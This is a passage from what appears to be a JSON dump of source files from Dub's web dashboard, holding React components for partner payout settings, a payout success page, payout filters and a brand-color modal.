px-2.5 py-2\"\n          />\n        </Link>\n      }\n    />\n  ));\n}\n"
  },
  {
    "path": "apps/web/app/app.dub.co/(dashboard)/[slug]/(ee)/program/payouts/program-payout-mode-section.tsx",
    "content": "\"use client\";\n\nimport useProgram from \"@/lib/swr/use-program\";\nimport useWorkspace from \"@/lib/swr/use-workspace\";\nimport { ProgramPayoutMode } from \"@dub/prisma/client\";\nimport { CircleDollarOut, Webhook } from \"@dub/ui\";\nimport Link from \"next/link\";\n\nexport function ProgramPayoutModeSection() {\n  const { program } = useProgram();\n\n  const payoutModeOptions = [\n    {\n      value: ProgramPayoutMode.hybrid,\n      label: \"Dub and external (Hybrid)\",\n      description:\n        \"Partners with connected bank accounts are paid directly by Dub. Those linked by tenant ID receive payouts externally through the webhook.\",\n    },\n    {\n      value: ProgramPayoutMode.external,\n      label: \"External only\",\n      description:\n        \"Every payout is processed externally through your platform's webhook integration. Dub does not handle any direct transfers.\",\n    },\n  ];\n\n  const currentPayoutMode = program?.payoutMode ?? ProgramPayoutMode.internal;\n  const selectedOption = payoutModeOptions.find(\n    (option) => option.value === currentPayoutMode,\n  );\n\n  if (!selectedOption) {\n    return null;\n  }\n\n  return (\n    <div className=\"space-y-3\">\n      <h4 className=\"text-base font-semibold leading-6 text-neutral-900\">\n        Payout method\n      </h4>\n      <div className=\"rounded-lg border border-neutral-200 bg-white\">\n        <div className=\"flex items-center gap-3 border-b border-neutral-200 p-3\">\n          <div className=\"flex size-8 shrink-0 items-center justify-center rounded-lg bg-neutral-100\">\n            <CircleDollarOut className=\"text-content-emphasis size-4\" />\n          </div>\n          <h3 className=\"text-content-emphasis text-sm font-semibold leading-4\">\n            {selectedOption.label}\n          </h3>\n          <a\n            href=\"http://dub.co/docs/partners/external-payouts\"\n            target=\"_blank\"\n            className=\"text-content-subtle rounded-md bg-neutral-100 px-2 py-1 text-xs font-medium transition-colors hover:bg-neutral-200/75\"\n          >\n            Learn more ↗\n          </a>\n        </div>\n\n        <div className=\"space-y-4 p-3\">\n          <p className=\"text-content-subtle text-xs font-medium leading-4\">\n            {selectedOption.description}\n          </p>\n          <WebhookInfo />\n        </div>\n      </div>\n    </div>\n  );\n}\n\nfunction WebhookInfo() {\n  const { slug } = useWorkspace();\n\n  return (\n    <div className=\"flex items-start gap-2 rounded-md border border-amber-100 bg-amber-50 p-2.5\">\n      <Webhook className=\"mt-0.5 size-3.5 shrink-0 text-amber-600\" />\n      <p className=\"text-xs font-medium leading-4 text-amber-900\">\n        Ensure webhooks are configured to listen for the{\" \"}\n        <code className=\"rounded bg-amber-200 px-1 py-0.5 font-mono text-xs text-amber-900\">\n          payout.confirmed\n        </code>{\" \"}\n        event.{\" \"}\n        <Link\n          href={`/${slug}/settings/webhooks`}\n          target=\"_blank\"\n          className=\"font-medium underline underline-offset-2 hover:text-amber-800\"\n        >\n          Manage webhooks\n        </Link>\n      </p>\n    </div>\n  );\n}\n"
  },
  {
    "path": "apps/web/app/app.dub.co/(dashboard)/[slug]/(ee)/program/payouts/program-payout-settings-button.tsx",
    "content": "\"use client\";\n\nimport { Button } from \"@dub/ui\";\nimport { useProgramPayoutSettingsSheet } from \"./program-payout-settings-sheet\";\n\nexport function ProgramPayoutSettingsButton() {\n  const { programPayoutSettingsSheet, setIsOpen } =\n    useProgramPayoutSettingsSheet();\n\n  return (\n    <>\n      {programPayoutSettingsSheet}\n      <Button\n        type=\"button\"\n        text=\"Payout settings\"\n        variant=\"secondary\"\n        onClick={() => setIsOpen(true)}\n        className=\"h-9 px-3\"\n      />\n    </>\n  );\n}\n"
  },
  {
    "path": "apps/web/app/app.dub.co/(dashboard)/[slug]/(ee)/program/payouts/program-payout-settings-sheet.tsx",
    "content": "\"use client\";\n\nimport { parseActionError } from \"@/lib/actions/parse-action-errors\";\nimport { updateProgramAction } from \"@/lib/actions/partners/update-program\";\nimport { ALLOWED_MIN_PAYOUT_AMOUNTS } from \"@/lib/constants/payouts\";\nimport { mutatePrefix } from \"@/lib/swr/mutate\";\nimport useProgram from \"@/lib/swr/use-program\";\nimport useWorkspace from \"@/lib/swr/use-workspace\";\nimport { ProgramProps } from \"@/lib/types\";\nimport { DEFAULT_PARTNER_GROUP } from \"@/lib/zod/schemas/groups\";\nimport { X } from \"@/ui/shared/icons\";\nimport { Button, Sheet, Slider } from \"@dub/ui\";\nimport NumberFlow from \"@number-flow/react\";\nimport { useAction } from \"next-safe-action/hooks\";\nimport { useParams } from \"next/navigation\";\nimport { Dispatch, SetStateAction, useEffect, useState } from \"react\";\nimport { useForm } from \"react-hook-form\";\nimport { toast } from \"sonner\";\nimport { ProgramPayoutMethods } from \"./program-payout-methods\";\nimport { ProgramPayoutModeSection } from \"./program-payout-mode-section\";\n\ntype ProgramPayoutSettingsSheetProps = {\n  setIsOpen: Dispatch<SetStateAction<boolean>>;\n};\n\ntype FormData = Pick<ProgramProps, \"minPayoutAmount\">;\n\nfunction ProgramPayoutSettingsSheetContent({\n  setIsOpen,\n}: ProgramPayoutSettingsSheetProps) {\n  const { id: workspaceId, defaultProgramId } = useWorkspace();\n  const { program } = useProgram();\n  const params = useParams<{ slug: string }>();\n\n  const {\n    register,\n    handleSubmit,\n    watch,\n    setValue,\n    formState: { isDirty, isValid, isSubmitting },\n  } = useForm<FormData>({\n    mode: \"onBlur\",\n  });\n\n  useEffect(() => {\n    if (program) {\n      setValue(\"minPayoutAmount\", program.minPayoutAmount);\n    }\n  }, [program, setValue]);\n\n  const { executeAsync } = useAction(updateProgramAction, {\n    onSuccess: async () => {\n      toast.success(\"Payout settings updated successfully.\");\n      setIsOpen(false);\n      mutatePrefix([`/api/programs/${defaultProgramId}`, `/api/groups`]);\n    },\n    onError: ({ error }) => {\n      toast.error(parseActionError(error, \"Failed to update payout settings.\"));\n    },\n  });\n\n  const onSubmit = async (data: FormData) => {\n    if (!workspaceId) {\n      return;\n    }\n\n    await executeAsync({\n      workspaceId,\n      ...data,\n    });\n  };\n\n  const minPayoutAmount = watch(\"minPayoutAmount\");\n\n  return (\n    <form onSubmit={handleSubmit(onSubmit)} className=\"flex h-full flex-col\">\n      <div className=\"sticky top-0 z-10 border-b border-neutral-200 bg-white\">\n        <div className=\"flex h-16 items-center justify-between px-6 py-4\">\n          <Sheet.Title className=\"text-lg font-semibold\">\n            Payout settings\n          </Sheet.Title>\n          <Sheet.Close asChild>\n            <Button\n              variant=\"outline\"\n              icon={<X className=\"size-5\" />}\n              className=\"h-auto w-fit p-1\"\n            />\n          </Sheet.Close>\n        </div>\n      </div>\n\n      <div className=\"h-full divide-y divide-neutral-200 bg-neutral-50 p-4 sm:p-6\">\n        {/* Payout holding period */}\n        <div className=\"grid gap-3 pb-6\">\n          <div>\n            <h4 className=\"text-base font-semibold leading-6 text-neutral-900\">\n              Payout holding period\n            </h4>\n            <p className=\"text-sm font-medium text-neutral-500\">\n              The payout holding period is now configurable on a group level.\n            </p>\n          </div>\n          <a\n            href={`/${params.slug}/program/groups/${DEFAULT_PARTNER_GROUP.slug}/settings`}\n            target=\"_blank\"\n          >\n            <Button\n              type=\"button\"\n              variant=\"secondary\"\n              text=\"View default group settings ↗\"\n              className=\"h-8 w-full px-3\"\n            />\n          </a>\n        </div>\n\n        {/* Minimum payout amount */}\n        <div className=\"space-y-6 py-6\">\n          <div>\n            <h4 className=\"text-base font-semibold leading-6 text-neutral-900\">\n              Minimum payout amount\n            </h4>\n            <p className=\"text-sm font-medium text-neutral-500\">\n              Set the minimum amount required for payouts to be processed.\n            </p>\n          </div>\n\n          <div>\n            <input\n              type=\"hidden\"\n              {...register(\"minPayoutAmount\", {\n                required: true,\n                valueAsNumber: true,\n              })}\n            />\n            <NumberFlow\n              value={minPayoutAmount ? minPayoutAmount / 100 : 0}\n              suffix=\" USD\"\n              format={{\n                style: \"currency\",\n                currency: \"USD\",\n                // @ts-ignore – trailingZeroDisplay is a valid option but TS is outdated\n                trailingZeroDisplay: \"stripIfInteger\",\n              }}\n              className=\"mb-2 text-2xl font-medium leading-6 text-neutral-800\"\n            />\n\n            <Slider\n              value={minPayoutAmount}\n              min={ALLOWED_MIN_PAYOUT_AMOUNTS[0]}\n              max={\n                ALLOWED_MIN_PAYOUT_AMOUNTS[\n                  ALLOWED_MIN_PAYOUT_AMOUNTS.length - 1\n                ]\n              }\n              onChange={(value) => {\n                const closest = ALLOWED_MIN_PAYOUT_AMOUNTS.reduce(\n                  (prev, curr) =>\n                    Math.abs(curr - value) < Math.abs(prev - value)\n                      ? curr\n                      : prev,\n                );\n\n                setValue(\"minPayoutAmount\", closest, {\n                  shouldDirty: true,\n                  shouldValidate: true,\n                });\n              }}\n              marks={ALLOWED_MIN_PAYOUT_AMOUNTS}\n            />\n          </div>\n        </div>\n\n        {/* Payout methods */}\n        <div className=\"py-6\">\n          <ProgramPayoutMethods />\n        </div>\n\n        {program?.payoutMode !== \"internal\" && (\n          <div className=\"py-6\">\n            <ProgramPayoutModeSection />\n          </div>\n        )}\n      </div>\n\n      <div className=\"sticky bottom-0 z-10 border-t border-neutral-200 bg-white\">\n        <div className=\"flex items-center justify-end gap-2 p-5\">\n          <Button\n            variant=\"secondary\"\n            text=\"Cancel\"\n            disabled={isSubmitting}\n            className=\"h-8 w-fit px-3\"\n            onClick={() => setIsOpen(false)}\n          />\n\n          <Button\n            text=\"Save\"\n            className=\"h-8 w-fit px-3\"\n            loading={isSubmitting}\n            disabled={!isDirty || !isValid}\n            type=\"submit\"\n          />\n        </div>\n      </div>\n    </form>\n  );\n}\n\nexport function ProgramPayoutSettingsSheet({\n  isOpen,\n  ...rest\n}: ProgramPayoutSettingsSheetProps & {\n  isOpen: boolean;\n}) {\n  return (\n    <Sheet open={isOpen} onOpenChange={rest.setIsOpen}>\n      <ProgramPayoutSettingsSheetContent {...rest} />\n    </Sheet>\n  );\n}\n\nexport function useProgramPayoutSettingsSheet() {\n  const [isOpen, setIsOpen] = useState(false);\n\n  return {\n    programPayoutSettingsSheet: (\n      <ProgramPayoutSettingsSheet setIsOpen={setIsOpen} isOpen={isOpen} />\n    ),\n    setIsOpen,\n  };\n}\n"
  },
  {
    "path": "apps/web/app/app.dub.co/(dashboard)/[slug]/(ee)/program/payouts/success/page-client.tsx",
    "content": "\"use client\";\n\nimport useProgram from \"@/lib/swr/use-program\";\nimport LayoutLoader from \"@/ui/layout/layout-loader\";\nimport { AnimatedEmptyState } from \"@/ui/shared/animated-empty-state\";\nimport { X } from \"@/ui/shared/icons\";\nimport { Invoice } from \"@dub/prisma/client\";\nimport { buttonVariants, CircleCheckFill, Grid, Receipt2 } from \"@dub/ui\";\nimport {\n  cn,\n  currencyFormatter,\n  DUB_LOGO,\n  fetcher,\n  pluralize,\n} from \"@dub/utils\";\nimport Confetti from \"canvas-confetti\";\nimport Link from \"next/link\";\nimport { useParams, useSearchParams } from \"next/navigation\";\nimport { useEffect, useState } from \"react\";\nimport useSWR from \"swr\";\n\nexport function PayoutsSuccessPageClient() {\n  const { slug } = useParams();\n  const searchParams = useSearchParams();\n  const invoiceId = searchParams.get(\"invoiceId\");\n\n  const [isCountLoaded, setIsCountLoaded] = useState(false);\n\n  const { data: invoice, isLoading } = useSWR<\n    Invoice & { _count: { payouts: number } }\n  >(\n    invoiceId && `/api/workspaces/${slug}/billing/invoices/${invoiceId}`,\n    fetcher,\n    // Keep refreshing if the count hasn't been updated yet\n    { refreshInterval: !isCountLoaded ? 1000 : undefined },\n  );\n\n  useEffect(() => {\n    if (invoice?._count.payouts) setIsCountLoaded(true);\n  }, [invoice?._count.payouts]);\n\n  const { program } = useProgram();\n\n  useEffect(() => {\n    if (isLoading || !program || !invoice) return;\n\n    [0.25, 0.5, 0.75].forEach((x) =>\n      Confetti({\n        particleCount: 50,\n        startVelocity: 90,\n        spread: 90,\n        ticks: 1000,\n        origin: { x, y: 0 },\n        disableForReducedMotion: true,\n      }),\n    );\n\n    return () => Confetti.reset();\n  }, [isLoading, program, invoice]);\n\n  if (isLoading || !program) {\n    return <LayoutLoader />;\n  }\n\n  if (!invoice) {\n    return (\n      <div className=\"flex min-h-[calc(100vh-10rem)] flex-col items-center justify-center px-4 py-10\">\n        <AnimatedEmptyState\n          title=\"Invoice not found\"\n          description=\"The invoice you're looking for doesn't exist.\"\n          cardContent={() => (\n            <>\n              <Receipt2 className=\"size-4 text-neutral-700\" />\n              <div className=\"h-2.5 w-24 min-w-0 rounded-sm bg-neutral-200\" />\n            </>\n          )}\n          className=\"border-none\"\n          learnMoreText=\"Back to payouts\"\n          learnMoreHref={`/${slug}/program/payouts?status=pending`}\n          learnMoreTarget=\"_self\"\n        />\n      </div>\n    );\n  }\n\n  // Convert total from cents to dollars\n  const amountPaid = currencyFormatter(invoice.amount);\n\n  // this can be zero in the beginning, so maybe we can add a loading state for the partner count,\n  // while we keep calling mutate() for the invoice SWR above?\n  // e.g. something like a NumberFlow animation could work – for consistency we should do the same for amountPaid as well\n  const partnerCount = invoice._count.payouts;\n\n  return (\n    <div className=\"rounded-t-[inherit] bg-white\">\n      <div className=\"flex justify-end pr-2 pt-2\">\n        <Link\n          href={`/${slug}/program/payouts?status=pending`}\n          className={cn(\n            \"flex size-8 items-center justify-center whitespace-nowrap rounded-lg border p-0 text-base\",\n            buttonVariants({ variant: \"outline\" }),\n          )}\n        >\n          <X className=\"text-content-default size-4\" />\n        </Link>\n      </div>\n      <div className=\"flex min-h-[calc(100vh-10rem)] flex-col items-center justify-center px-4 py-10\">\n        <div\n          className={cn(\n            \"flex flex-col items-center text-center\",\n            \"animate-slide-up-fade motion-reduce:animate-fade-in [--offset:10px] [animation-duration:0.5s] [animation-fill-mode:both]\",\n          )}\n        >\n          <CircleCheckFill className=\"size-8 text-green-600\" />\n          <h2 className=\"text-content-default mt-4 text-lg font-semibold\">\n            Thank you for your payout!\n          </h2>\n          <p className=\"text-content-subtle text-base font-medium\">\n            You've paid out {amountPaid} to your{\" \"}\n            {pluralize(\"partner\", partnerCount)}.\n          </p>\n        </div>\n\n        <div\n          className={cn(\n            \"border-border-subtle relative mt-8 w-full max-w-[400px] rounded-2xl border bg-neutral-50 text-center\",\n            \"animate-slide-up-fade motion-reduce:animate-fade-in [--offset:20px] [animation-delay:100ms] [animation-duration:0.5s] [animation-fill-mode:both]\",\n          )}\n        >\n          <div className=\"pointer-events-none absolute inset-0 overflow-hidden rounded-[inherit]\">\n            <div className=\"absolute inset-y-0 left-1/2 w-[640px] -translate-x-1/2 [mask-image:linear-gradient(black,transparent_280px)]\">\n              <Grid\n                cellSize={35}\n                patternOffset={[-29, -10]}\n                className=\"text-border-subtle\"\n              />\n            </div>\n          </div>\n\n          <div className=\"relative flex flex-col items-center p-6 pt-10\">\n            <img\n              src={program.logo ?? DUB_LOGO}\n              alt={program.name}\n              className=\"size-16 rounded-full\"\n            />\n            <span className=\"text-content-emphasis mt-6 text-2xl font-semibold\">\n              {program.name}\n            </span>\n            <span className=\"text-content-subtle text-base font-medium\">\n              # {invoice.number}\n            </span>\n\n            {/* Stats */}\n            <div className=\"divide-border-subtle mt-6 grid w-full grid-cols-2 divide-x rounded-xl bg-white px-2 py-3\">\n              {[\n                { value: amountPaid, label: \"Paid\" },\n                {\n                  value: partnerCount,\n                  loading: !isCountLoaded,\n                  label: pluralize(\"Partner\", partnerCount),\n                },\n              ].map(({ value, label, loading }) => (\n                <div\n                  key={label}\n                  className=\"flex flex-col items-center px-2 text-center\"\n                >\n                  <span className=\"text-content-default text-xl font-semibold\">\n                    {loading ? (\n                      <span className=\"block h-7 w-8 animate-pulse rounded-md bg-neutral-200\" />\n                    ) : (\n                      value\n                    )}\n                  </span>\n                  <span className=\"text-content-subtle text-base font-medium\">\n                    {label}\n                  </span>\n                </div>\n              ))}\n            </div>\n          </div>\n\n          {/* Divider + inserts */}\n          <div className=\"bg-border-subtle pointer-events-none relative mt-2 h-px w-full\">\n            <div className=\"border-border-subtle absolute -top-4 left-[-17px] size-8 rounded-full border bg-white [mask-image:linear-gradient(90deg,transparent_50%,black_50%)]\" />\n            <div className=\"border-border-subtle absolute -top-4 right-[-17px] size-8 rounded-full border bg-white [mask-image:linear-gradient(90deg,black_50%,transparent_50%)]\" />\n          </div>\n\n          <div className=\"relative p-6\">\n            <Link\n              href={`/${slug}/settings/billing/invoices?type=partnerPayout`}\n              className={cn(\n                \"flex h-9 w-full items-center justify-center whitespace-nowrap rounded-lg border px-5 text-sm\",\n                buttonVariants({ variant: \"primary\" }),\n              )}\n            >\n              View invoices\n            </Link>\n          </div>\n        </div>\n\n        <div\n          className={cn(\n            \"mt-8\",\n            \"animate-slide-up-fade motion-reduce:animate-fade-in [--offset:10px] [animation-delay:200ms] [animation-duration:0.5s] [animation-fill-mode:both]\",\n          )}\n        >\n          <Link\n            href={`/${slug}/program`}\n            className={cn(\n              \"flex h-9 w-fit items-center justify-center whitespace-nowrap rounded-lg border px-4 text-sm\",\n              buttonVariants({ variant: \"secondary\" }),\n            )}\n          >\n            Back to dashboard\n          </Link>\n        </div>\n      </div>\n    </div>\n  );\n}\n"
  },
  {
    "path": "apps/web/app/app.dub.co/(dashboard)/[slug]/(ee)/program/payouts/success/page.tsx",
    "content": "import { PayoutsSuccessPageClient } from \"./page-client\";\n\nexport default function PayoutsSuccessPage() {\n  return <PayoutsSuccessPageClient />;\n}\n"
  },
  {
    "path": "apps/web/app/app.dub.co/(dashboard)/[slug]/(ee)/program/payouts/use-payout-filters.tsx",
    "content": "import usePartners from \"@/lib/swr/use-partners\";\nimport { usePayoutsCount } from \"@/lib/swr/use-payouts-count\";\nimport { EnrolledPartnerProps, PayoutsCount } from \"@/lib/types\";\nimport { PartnerAvatar } from \"@/ui/partners/partner-avatar\";\nimport { PayoutStatusBadges } from \"@/ui/partners/payout-status-badges\";\nimport { useRouterStuff } from \"@dub/ui\";\nimport { CircleDotted, InvoiceDollar, Users } from \"@dub/ui/icons\";\nimport { cn, nFormatter } from \"@dub/utils\";\nimport { useCallback, useMemo, useState } from \"react\";\nimport { useDebounce } from \"use-debounce\";\n\nexport function usePayoutFilters() {\n  const { searchParamsObj, queryParams } = useRouterStuff();\n\n  const { payoutsCount } = usePayoutsCount<PayoutsCount[]>({\n    groupBy: \"status\",\n  });\n\n  const [selectedFilter, setSelectedFilter] = useState<string | null>(null);\n  const [search, setSearch] = useState(\"\");\n  const [debouncedSearch] = useDebounce(search, 500);\n\n  const { partners } = usePartnerFilterOptions(\n    selectedFilter === \"partnerId\" ? debouncedSearch : \"\",\n  );\n\n  const filters = useMemo(\n    () => [\n      {\n        key: \"partnerId\",\n        icon: Users,\n        label: \"Partner\",\n        shouldFilter: false,\n        options:\n          partners?.map((partner) => {\n            return {\n              value: partner.id,\n              label: partner.name,\n              icon: <PartnerAvatar partner={partner} className=\"size-4\" />,\n            };\n          }) ?? null,\n      },\n      {\n        key: \"status\",\n        icon: CircleDotted,\n        label: \"Status\",\n        options: Object.entries(PayoutStatusBadges).map(\n          ([value, { label }]) => {\n            const Icon = PayoutStatusBadges[value].icon;\n            const count = payoutsCount?.find((p) => p.status === value)?.count;\n\n            return {\n              value,\n              label,\n              icon: (\n                <Icon\n                  className={cn(\n                    PayoutStatusBadges[value].className,\n                    \"size-4 bg-transparent\",\n                  )}\n                />\n              ),\n              ...(value !== \"hold\" && {\n                right: nFormatter(count || 0, { full: true }),\n              }),\n            };\n          },\n        ),\n      },\n      {\n        key: \"invoiceId\",\n        icon: InvoiceDollar,\n        label: \"Invoice\",\n        options: [],\n      },\n    ],\n    [payoutsCount, partners],\n  );\n\n  const activeFilters = useMemo(() => {\n    const { status, partnerId, invoiceId } = searchParamsObj;\n    return [\n      ...(status ? [{ key: \"status\", value: status }] : []),\n      ...(partnerId ? [{ key: \"partnerId\", value: partnerId }] : []),\n      ...(invoiceId ? [{ key: \"invoiceId\", value: invoiceId }] : []),\n    ];\n  }, [\n    searchParamsObj.status,\n    searchParamsObj.partnerId,\n    searchParamsObj.invoiceId,\n  ]);\n\n  const onSelect = useCallback(\n    (key: string, value: any) =>\n      queryParams({\n        set: {\n          [key]: value,\n        },\n        del: \"page\",\n      }),\n    [queryParams],\n  );\n\n  const onRemove = useCallback(\n    (key: string) =>\n      queryParams({\n        del: [key, \"page\"],\n      }),\n    [queryParams],\n  );\n\n  const onRemoveAll = useCallback(\n    () =>\n      queryParams({\n        del: [\"status\", \"search\", \"partnerId\", \"invoiceId\"],\n      }),\n    [queryParams],\n  );\n\n  const isFiltered = useMemo(() => activeFilters.length > 0, [activeFilters]);\n\n  return {\n    filters,\n    activeFilters,\n    onSelect,\n    onRemove,\n    onRemoveAll,\n    isFiltered,\n    setSearch,\n    setSelectedFilter,\n  };\n}\n\nfunction usePartnerFilterOptions(search: string) {\n  const { searchParamsObj } = useRouterStuff();\n\n  const { partners, loading: partnersLoading } = usePartners({\n    query: { search },\n  });\n\n  const { partners: selectedPartners } = usePartners({\n    query: {\n      partnerIds: searchParamsObj.partnerId\n        ? [searchParamsObj.partnerId]\n        : undefined,\n    },\n  });\n\n  const result = useMemo(() => {\n    return partnersLoading ||\n      // Consider partners loading if we can't find the currently filtered partner\n      (searchParamsObj.partnerId &&\n        ![...(selectedPartners ?? []), ...(partners ?? [])].some(\n          (p) => p.id === searchParamsObj.partnerId,\n        ))\n      ? null\n      : ([\n          ...(partners ?? []),\n          // Add selected partner to list if not already in partners\n          ...(selectedPartners\n            ?.filter((st) => !partners?.some((t) => t.id === st.id))\n            ?.map((st) => ({ ...st, hideDuringSearch: true })) ?? []),\n        ] as (EnrolledPartnerProps & { hideDuringSearch?: boolean })[]);\n  }, [partnersLoading, partners, selectedPartners, searchParamsObj.partnerId]);\n\n  return { partners: result };\n}\n"
  },
  {
    "path": "apps/web/app/app.dub.co/(dashboard)/[slug]/(ee)/program/program-settings-row.tsx",
    "content": "import { PropsWithChildren } from \"react\";\n\nexport function SettingsRow({\n  heading,\n  description,\n  required,\n  children,\n}: PropsWithChildren<{\n  heading: string;\n  description?: string;\n  required?: boolean;\n}>) {\n  return (\n    <div className=\"grid grid-cols-1 gap-4 py-8 sm:grid-cols-2\">\n      <div className=\"flex flex-col gap-1\">\n        <h3 className=\"text-[15px] font-medium leading-none text-neutral-900\">\n          {heading} {required && <span className=\"text-red-700\">*</span>}\n        </h3>\n        {description && (\n          <p className=\"text-sm text-neutral-600\">{description}</p>\n        )}\n      </div>\n      <div>{children}</div>\n    </div>\n  );\n}\n"
  },
  {
    "path": "apps/web/app/app.dub.co/(dashboard)/[slug]/(ee)/program/resources/page.tsx",
    "content": "import { PageContent } from \"@/ui/layout/page-content\";\nimport { PageWidthWrapper } from \"@/ui/layout/page-width-wrapper\";\nimport { ProgramBrandAssets } from \"./program-brand-assets\";\nimport { ProgramHelpAndSupport } from \"./program-help-and-support\";\n\nexport default function ProgramResourcesPage() {\n  return (\n    <PageContent\n      title=\"Resources\"\n      titleInfo={{\n        title:\n          \"Learn how to configure brand and support resources for your partners.\",\n        href: \"https://dub.co/help/article/program-resources\",\n      }}\n    >\n      <PageWidthWrapper className=\"mb-8 grid gap-8\">\n        <ProgramHelpAndSupport />\n        <ProgramBrandAssets />\n      </PageWidthWrapper>\n    </PageContent>\n  );\n}\n"
  },
  {
    "path": "apps/web/app/app.dub.co/(dashboard)/[slug]/(ee)/program/resources/program-brand-assets/add-color-modal.tsx",
    "content": "\"use client\";\n\nimport { addProgramResourceAction } from \"@/lib/actions/partners/program-resources/add-program-resource\";\nimport { updateProgramResourceAction } from \"@/lib/actions/partners/program-resources/update-program-resource\";\nimport useProgramResources from \"@/lib/swr/use-program-resources\";\nimport useWorkspace from \"@/lib/swr/use-workspace\";\nimport { ProgramResourceColor } from \"@/lib/zod/schemas/program-resources\";\nimport { Button, Modal } from \"@dub/ui\";\nimport { cn } from \"@dub/utils\";\nimport { useAction } from \"next-safe-action/hooks\";\nimport {\n  Dispatch,\n  SetStateAction,\n  useCallback,\n  useEffect,\n  useMemo,\n  useState,\n} from \"react\";\nimport { HexColorPicker } from \"react-colorful\";\nimport { useForm } from \"react-hook-form\";\nimport { toast } from \"sonner\";\nimport * as z from \"zod/v4\";\n\ntype ColorModalProps = {\n  showColorModal: boolean;\n  setShowColorModal: Dispatch<SetStateAction<boolean>>;\n  existingResource?: ProgramResourceColor;\n};\n\nconst colorFormSchema = z.object({\n  name: z.string().min(1, \"Name is required\"),\n  color: z.string().min(1, \"Color is required\"),\n});\n\ntype ColorFormData = z.infer<typeof colorFormSchema>;\n\nfunction ColorModal(props: ColorModalProps) {\n  return (\n    <Modal\n      showModal={props.showColorModal}\n      setShowModal={props.setShowColorModal}\n    >\n      <ColorModalInner {...props} />\n    </Modal>\n  );\n}\n\nconst DEFAULT_COLORS = [\"#dc2626\", \"#84cc16\", \"#14b8a6\", \"#0ea5e9\", \"#d946ef\"];\n\nfunction ColorModalInner({\n  setShowColorModal,\n  existingResource,\n}: ColorModalProps) {\n  const { id: workspaceId } = useWorkspace();\n  const { mutate } = useProgramResources();\n  const isEditing = Boolean(existingResource);\n\n  const [hexInputValue, setHexInputValue] = useState(\n    existingResource?.color || \"#000000\",\n  );\n\n  const {\n    register,\n    handleSubmit,\n    setValue,\n    watch,\n    setError,\n    formState: { errors, isSubmitting, isSubmitSuccessful },\n  } = useForm<ColorFormData>({\n    defaultValues: {\n      name: existingResource?.name || \"\",\n      color:\n        existingResource?.color ||\n        DEFAULT_COLORS[Math.floor(Math.random() * DEFAULT_COLORS.length)],\n    },\n  });\n\n  const selectedColor = watch(\"color\");\n\n  // Keep hex input in sync with form value\n  useEffect(() => setHexInputValue(selectedColor), [selectedColor]);\n\n  const handleHexInputChange = (e: React.ChangeEvent<HTMLInputElement>) => {\n    const value = e.target.value;\n    setHexInputValue(value);\n\n    // Only update form value if it's a valid hex color\n    if (/^#?[0-9A-F]{6}$/i.test(value)) {\n      setValue(\"color\", value.startsWith(\"#\") ? value : `#${value}`);\n    }\n  };\n\n  const { executeAsync: executeAdd } = useAction(addProgramResourceAction, {\n    onSuccess: () => {\n      mutate();\n      setShowColorModal(false);\n      toast.success(\"Color added successfully!\");\n    },\n    onError({ error }) {\n      if (error.serverError) {\n        setError(\"root.serverError\", {\n          message: error.serverError,\n        });\n        toast.error(error.serverError);\n      } else {\n        toast.error(\"Failed to add color\");\n      }\n    },\n  });\n\n  const { executeAsync: executeUpdate } = useAction(\n    updateProgramResourceAction,\n    {\n      onSuccess: () => {\n        mutate();\n        setShowColorModal(false);\n        toast.success(\"Color updated successfully!\");\n      },\n      onError({ error }) {\n        if (error.serverError) {\n          setError(\"root.serverError\", {\n            message: error.serverError,\n          });\n          toast.error(error.serverError);\n        } else {\n          toast.error(\"Failed to update color\");\n        }\n      },\n    },\n  );\n\n  return (\n    <>\n      <div className=\"space-y-2 border-b border-neutral-200 p-4 sm:p-6\">\n        <h3 className=\"text-lg font-medium leading-none\">\n          {isEditing ? \"Edit color\" : \"Add color\"}\n        </h3>\n      </div>\n\n      <form\n        onSubmit={handleSubmit(async (data: ColorFormData) => {\n          if (isEditing && existingResource) {\n            await executeUpdate({\n              workspaceId: workspaceId!,\n              resourceId: existingResource.id,\n              resourceType: \"color\",\n              name: data.name,\n              color: data.color,\n            });\n          } else {\n            await executeAdd({\n              workspaceId: workspaceId!,\n              name: data.name,\n              resourceType: \"color\",\n              color: data.color,\n            });\n          }\n        })}\n      >\n        <div className=\"bg-neutral-50 p-4 sm:p-6\">\n          <div className=\"space-y-4\">\n            <div>\n              <span className=\"mb-1 block text-sm font-medium text-neutral-700\">\n                Color\n              </span>\n              <div className=\"flex justify-center [&_.react-colorful]:h-[180px] [&_.react-colorful]:w-full\">\n                <HexColorPicker\n                  color={selectedColor}\n                  onChange={(color) =>\n                    setValue(\"color\", color, { shouldDirty: true })\n                  }\n                />\n              </div>\n            </div>\n\n            <label className=\"block\">\n              <span className=\"mb-1 block text-sm font-medium text-neutral-700\">\n                Hex\n              </span>\n              <input\n                type=\"text\"\n                value={hexInputValue}\n                onChange={handleHexInputChange}\n                className={cn(\n                  \"block w-full rounded-md border-neutral-300 shadow-sm focus:border-neutral-500 focus:ring-neutral-500 sm:text-sm\",\n                  !/^#[0-9A-F]{6}$/i.test(hexInputValue) &&\n                    \"border-red-300 pr-10 text-red-900 placeholder-red-300 focus:border-red-500 focus:ring-red-500\",\n                )}\n                placeholder=\"#000000\"\n              />\n              <input\n                type=\"hidden\"\n                {...register(\"color\", { required: \"Please select a color\" })}\n              />\n              {errors.color && (\n                <p className=\"mt-1 text-xs text-red-600\">\n                  {errors.color.message}\n                </p>\n              )}\n            </label>\n\n            <label className=\"block\">\n              <span className=\"mb-1 block text-sm font-medium text-neutral-700\">\n                Color name\n              </span>\n              <input\n                id=\"name\"\n                type=\"text\"\n                className={cn(\n                  \"block w-full rounded-md border-neutral-300 shadow-sm focus:border-neutral-500 focus:ring-neutral-500 sm:text-sm\",\n                  errors.name &&\n                    \"border-red-300 pr-10 text-red-900 placeholder-red-300 focus:border-red-500 focus:ring-red-500\",\n                )}\n                {...register(\"name\", { required: \"Color name is required\" })}\n              />\n              {errors.name && (\n                <p className=\"mt-1 text-xs text-red-600\">\n                  {errors.name.message}\n                </p>\n              )}\n            </label>\n          </div>\n        </div>\n\n        <div className=\"flex items-center justify-end gap-2 border-t border-neutral-200 bg-neutral-50 px-4 py-5 sm:px-6\">\n          <Button\n            onClick={() => setShowColorModal(false)}\n            variant=\"secondary\"\n            text=\"Cancel\"\n            className=\"h-8 w-fit px-3\"\n            type=\"button\"\n          />\n          <Button\n            type=\"submit\"\n            autoFocus\n            loading={isSubmitting || isSubmitSuccessful}\n            text={isEditing ? \"Save Changes\" : \"Add Color\"}\n            className=\"h-8 w-fit px-3\"\n          />\n        </div>\n      </form>\n    